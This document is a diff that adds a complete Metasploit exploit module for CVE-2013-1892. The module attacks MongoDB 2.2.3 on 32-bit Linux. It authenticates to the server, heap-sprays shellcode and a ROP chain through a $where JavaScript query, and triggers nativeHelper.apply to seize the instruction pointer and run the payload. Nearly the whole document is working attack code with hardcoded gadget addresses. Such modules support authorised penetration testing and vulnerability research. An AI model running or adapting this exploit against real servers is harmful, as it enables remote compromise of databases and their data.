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| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::Tcp |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'MongoDB nativeHelper.apply Instruction Pointer Control', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploit a feature in spiderMonkey to control Instruction Pointer. |
| 20 | + }, |
| 21 | + 'Author' => |
| 22 | + [ |
| 23 | + 'agix' # @agixid # Vulnerability discovery and Metasploit module |
| 24 | + ], |
| 25 | + 'References' => |
| 26 | + [ |
| 27 | + [ 'CVE', '2013-1892' ], |
| 28 | + [ 'OSVDB', '91632' ], |
| 29 | + [ 'BID', '58695' ], |
| 30 | + [ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ] |
| 31 | + ], |
| 32 | + 'Platform' => 'linux', |
| 33 | + 'Targets' => |
| 34 | + [ |
| 35 | + [ 'Linux - mongod 2.2.3 - 32bits', |
| 36 | + { |
| 37 | + 'Arch' => ARCH_X86, |
| 38 | + 'mmap' => [ |
| 39 | + 0x0816f768, # mmap64@plt # from mongod |
| 40 | + 0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod |
| 41 | + 0x31337000, |
| 42 | + 0x00002000, |
| 43 | + 0x00000007, |
| 44 | + 0x00000031, |
| 45 | + 0xffffffff, |
| 46 | + 0x00000000, |
| 47 | + 0x00000000, |
| 48 | + 0x0816e4c8, # memcpy@plt # from mongod |
| 49 | + 0x31337000, |
| 50 | + 0x31337000, |
| 51 | + 0x0c0b0000, |
| 52 | + 0x00002000 |
| 53 | + ], |
| 54 | + 'ret' => 0x08055a70, # ret # from mongod |
| 55 | + 'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c] |
| 56 | + # These gadgets need to be composed with bytes < 0x80 |
| 57 | + 'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP |
| 58 | + 'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2 |
| 59 | + 'gadget4' => 0x08055a6c, # pop eax / ret |
| 60 | + 'gadget5' => 0x08457158 # xchg esp,eax |
| 61 | + } |
| 62 | + ] |
| 63 | + ], |
| 64 | + 'DefaultTarget' => 0, |
| 65 | + 'DisclosureDate' => 'Mar 24 2013', |
| 66 | + 'License' => MSF_LICENSE |
| 67 | + )) |
| 68 | + |
| 69 | + register_options( |
| 70 | + [ |
| 71 | + Opt::RPORT(27017), |
| 72 | + OptString.new('DB', [ true, "Database to use", "admin"]), |
| 73 | + OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]), |
| 74 | + OptString.new('USERNAME', [ false, "Login to use", ""]), |
| 75 | + OptString.new('PASSWORD', [ false, "Password to use", ""]) |
| 76 | + ], self.class) |
| 77 | + end |
| 78 | + |
| 79 | + def exploit |
| 80 | + begin |
| 81 | + connect |
| 82 | + if require_auth? |
| 83 | + print_status("Mongo server #{datastore['RHOST']} use authentication...") |
| 84 | + if !datastore['USERNAME'] || !datastore['PASSWORD'] |
| 85 | + disconnect |
| 86 | + fail_with(Exploit::Failure::BadConfig, "USERNAME and PASSWORD must be provided") |
| 87 | + end |
| 88 | + if do_login==0 |
| 89 | + disconnect |
| 90 | + fail_with(Exploit::Failure::NoAccess, "Authentication failed") |
| 91 | + end |
| 92 | + else |
| 93 | + print_good("Mongo server #{datastore['RHOST']} doesn't use authentication") |
| 94 | + end |
| 95 | + |
| 96 | + if datastore['COLLECTION'] && datastore['COLLECTION'] != "" |
| 97 | + collection = datastore['COLLECTION'] |
| 98 | + else |
| 99 | + collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz') |
| 100 | + if read_only?(collection) |
| 101 | + disconnect |
| 102 | + fail_with(Exploit::Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection") |
| 103 | + else |
| 104 | + print_good("New document created in collection #{collection}") |
| 105 | + end |
| 106 | + end |
| 107 | + |
| 108 | + print_status("Let's exploit, heap spray could take some time...") |
| 109 | + my_target = target |
| 110 | + shellcode = Rex::Text.to_unescape(payload.encoded) |
| 111 | + mmap = my_target['mmap'].pack("V*") |
| 112 | + ret = [my_target['ret']].pack("V*") |
| 113 | + gadget1 = "0x#{my_target['gadget1'].to_s(16)}" |
| 114 | + gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V")) |
| 115 | + gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V")) |
| 116 | + gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V")) |
| 117 | + gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V")) |
| 118 | + |
| 119 | + shellcode_var="a"+Rex::Text.rand_text_hex(4) |
| 120 | + sizechunk_var="b"+Rex::Text.rand_text_hex(4) |
| 121 | + chunk_var="c"+Rex::Text.rand_text_hex(4) |
| 122 | + i_var="d"+Rex::Text.rand_text_hex(4) |
| 123 | + array_var="e"+Rex::Text.rand_text_hex(4) |
| 124 | + |
| 125 | + ropchain_var="f"+Rex::Text.rand_text_hex(4) |
| 126 | + chunk2_var="g"+Rex::Text.rand_text_hex(4) |
| 127 | + array2_var="h"+Rex::Text.rand_text_hex(4) |
| 128 | + |
| 129 | + # nopsled + shellcode heapspray |
| 130 | + payload_js = shellcode_var+'=unescape("'+shellcode+'");' |
| 131 | + payload_js << sizechunk_var+'=0x1000;' |
| 132 | + payload_js << chunk_var+'="";' |
| 133 | + payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } ' |
| 134 | + payload_js << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk_var+'-'+shellcode_var+'.length));' |
| 135 | + payload_js << array_var+'=new Array();' |
| 136 | + payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } ' |
| 137 | + |
| 138 | + # retchain + ropchain heapspray |
| 139 | + payload_js << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");' |
| 140 | + payload_js << chunk2_var+'="";' |
| 141 | + payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk2_var+'+=unescape("'+Rex::Text.to_unescape(ret)+'"); } ' |
| 142 | + payload_js << chunk2_var+'='+chunk2_var+'.substring(0,('+sizechunk_var+'-'+ropchain_var+'.length));' |
| 143 | + payload_js << array2_var+'=new Array();' |
| 144 | + payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array2_var+'['+i_var+']='+chunk2_var+'+'+ropchain_var+'; } ' |
| 145 | + |
| 146 | + # Trigger and first ropchain |
| 147 | + payload_js << 'nativeHelper.apply({"x" : '+gadget1+'}, ' |
| 148 | + payload_js << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);' |
| 149 | + |
| 150 | + request_id = Rex::Text.rand_text(4) |
| 151 | + |
| 152 | + packet = request_id #requestID |
| 153 | + packet << "\xff\xff\xff\xff" #responseTo |
| 154 | + packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) |
| 155 | + packet << "\x00\x00\x00\x00" #flags |
| 156 | + packet << datastore['DB']+"."+collection+"\x00" #fullCollectionName (db.collection) |
| 157 | + packet << "\x00\x00\x00\x00" #numberToSkip (0) |
| 158 | + packet << "\x01\x00\x00\x00" #numberToReturn (1) |
| 159 | + |
| 160 | + where = "\x02\x24\x77\x68\x65\x72\x65\x00" |
| 161 | + where << [payload_js.length+4].pack("L") |
| 162 | + where << payload_js+"\x00" |
| 163 | + |
| 164 | + where.insert(0, [where.length + 4].pack("L")) |
| 165 | + |
| 166 | + packet += where |
| 167 | + packet.insert(0, [packet.length + 4].pack("L")) |
| 168 | + |
| 169 | + sock.put(packet) |
| 170 | + |
| 171 | + disconnect |
| 172 | + rescue ::Exception => e |
| 173 | + fail_with(Exploit::Failure::Unreachable, "Unable to connect") |
| 174 | + end |
| 175 | + end |
| 176 | + |
| 177 | + def require_auth? |
| 178 | + request_id = Rex::Text.rand_text(4) |
| 179 | + packet = "\x3f\x00\x00\x00" #messageLength (63) |
| 180 | + packet << request_id #requestID |
| 181 | + packet << "\xff\xff\xff\xff" #responseTo |
| 182 | + packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) |
| 183 | + packet << "\x00\x00\x00\x00" #flags |
| 184 | + packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd) |
| 185 | + packet << "\x00\x00\x00\x00" #numberToSkip (0) |
| 186 | + packet << "\x01\x00\x00\x00" #numberToReturn (1) |
| 187 | + #query ({"listDatabases"=>1}) |
| 188 | + packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00" |
| 189 | + |
| 190 | + sock.put(packet) |
| 191 | + response = sock.get_once |
| 192 | + |
| 193 | + have_auth_error?(response) |
| 194 | + end |
| 195 | + |
| 196 | + def read_only?(collection) |
| 197 | + request_id = Rex::Text.rand_text(4) |
| 198 | + _id = "\x07_id\x00"+Rex::Text.rand_text(12)+"\x02" |
| 199 | + key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00" |
| 200 | + value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00" |
| 201 | + |
| 202 | + insert = _id+key+[value.length].pack("L")+value+"\x00" |
| 203 | + |
| 204 | + packet = [insert.length+24+datastore['DB'].length+6].pack("L") #messageLength |
| 205 | + packet << request_id #requestID |
| 206 | + packet << "\xff\xff\xff\xff" #responseTo |
| 207 | + packet << "\xd2\x07\x00\x00" #opCode (2002 Insert Document) |
| 208 | + packet << "\x00\x00\x00\x00" #flags |
| 209 | + packet << datastore['DB'] + "." + collection + "\x00" #fullCollectionName (DB.collection) |
| 210 | + packet << [insert.length+4].pack("L") |
| 211 | + packet << insert |
| 212 | + |
| 213 | + sock.put(packet) |
| 214 | + |
| 215 | + request_id = Rex::Text.rand_text(4) |
| 216 | + |
| 217 | + packet = [datastore['DB'].length + 61].pack("L") #messageLength (66) |
| 218 | + packet << request_id #requestID |
| 219 | + packet << "\xff\xff\xff\xff" #responseTo |
| 220 | + packet << "\xd4\x07\x00\x00" #opCode (2004 Query) |
| 221 | + packet << "\x00\x00\x00\x00" #flags |
| 222 | + packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) |
| 223 | + packet << "\x00\x00\x00\x00" #numberToSkip (0) |
| 224 | + packet << "\xff\xff\xff\xff" #numberToReturn (1) |
| 225 | + packet << "\x1b\x00\x00\x00" |
| 226 | + packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" |
| 227 | + |
| 228 | + sock.put(packet) |
| 229 | + |
| 230 | + response = sock.get_once |
| 231 | + have_auth_error?(response) |
| 232 | + end |
| 233 | + |
| 234 | + def do_login |
| 235 | + print_status("Trying #{datastore['USERNAME']}/#{datastore['PASSWORD']} on #{datastore['DB']} database") |
| 236 | + nonce = get_nonce |
| 237 | + status = auth(nonce) |
| 238 | + return status |
| 239 | + end |
| 240 | + |
| 241 | + def auth(nonce) |
| 242 | + request_id = Rex::Text.rand_text(4) |
| 243 | + packet = request_id #requestID |
| 244 | + packet << "\xff\xff\xff\xff" #responseTo |
| 245 | + packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) |
| 246 | + packet << "\x00\x00\x00\x00" #flags |
| 247 | + packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) |
| 248 | + packet << "\x00\x00\x00\x00" #numberToSkip (0) |
| 249 | + packet << "\xff\xff\xff\xff" #numberToReturn (1) |
| 250 | + |
| 251 | + #{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"} |
| 252 | + document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65" |
| 253 | + document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00" |
| 254 | + document << [datastore['USERNAME'].length + 1].pack("L") # +1 due null byte termination |
| 255 | + document << datastore['USERNAME'] + "\x00" |
| 256 | + document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00" |
| 257 | + document << nonce + "\x00" |
| 258 | + document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00" |
| 259 | + document << Rex::Text.md5(nonce + datastore['USERNAME'] + Rex::Text.md5(datastore['USERNAME'] + ":mongo:" + datastore['PASSWORD'])) + "\x00" |
| 260 | + document << "\x00" |
| 261 | + #Calculate document length |
| 262 | + document.insert(0, [document.length + 4].pack("L")) |
| 263 | + |
| 264 | + packet += document |
| 265 | + |
| 266 | + #Calculate messageLength |
| 267 | + packet.insert(0, [(packet.length + 4)].pack("L")) #messageLength |
| 268 | + sock.put(packet) |
| 269 | + response = sock.get_once |
| 270 | + if have_auth_error?(response) |
| 271 | + print_error("Bad login or DB") |
| 272 | + return 0 |
| 273 | + else |
| 274 | + print_good("Successful login on DB #{datastore['db']}") |
| 275 | + return 1 |
| 276 | + end |
| 277 | + |
| 278 | + |
| 279 | + end |
| 280 | + |
| 281 | + def get_nonce |
| 282 | + request_id = Rex::Text.rand_text(4) |
| 283 | + packet = [datastore['DB'].length + 57].pack("L") #messageLength (57+DB.length) |
| 284 | + packet << request_id #requestID |
| 285 | + packet << "\xff\xff\xff\xff" #responseTo |
| 286 | + packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) |
| 287 | + packet << "\x00\x00\x00\x00" #flags |
| 288 | + packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) |
| 289 | + packet << "\x00\x00\x00\x00" #numberToSkip (0) |
| 290 | + packet << "\x01\x00\x00\x00" #numberToReturn (1) |
| 291 | + #query {"getnonce"=>1.0} |
| 292 | + packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" |
| 293 | + |
| 294 | + sock.put(packet) |
| 295 | + response = sock.get_once |
| 296 | + documents = response[36..1024] |
| 297 | + #{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0} |
| 298 | + nonce = documents[15..30] |
| 299 | + end |
| 300 | + |
| 301 | + def have_auth_error?(response) |
| 302 | + #Response header 36 bytes long |
| 303 | + documents = response[36..1024] |
| 304 | + #{"errmsg"=>"auth fails", "ok"=>0.0} |
| 305 | + #{"errmsg"=>"need to login", "ok"=>0.0} |
| 306 | + if documents.include?('errmsg') || documents.include?('unauthorized') |
| 307 | + return true |
| 308 | + else |
| 309 | + return false |
| 310 | + end |
| 311 | + end |
| 312 | +end |
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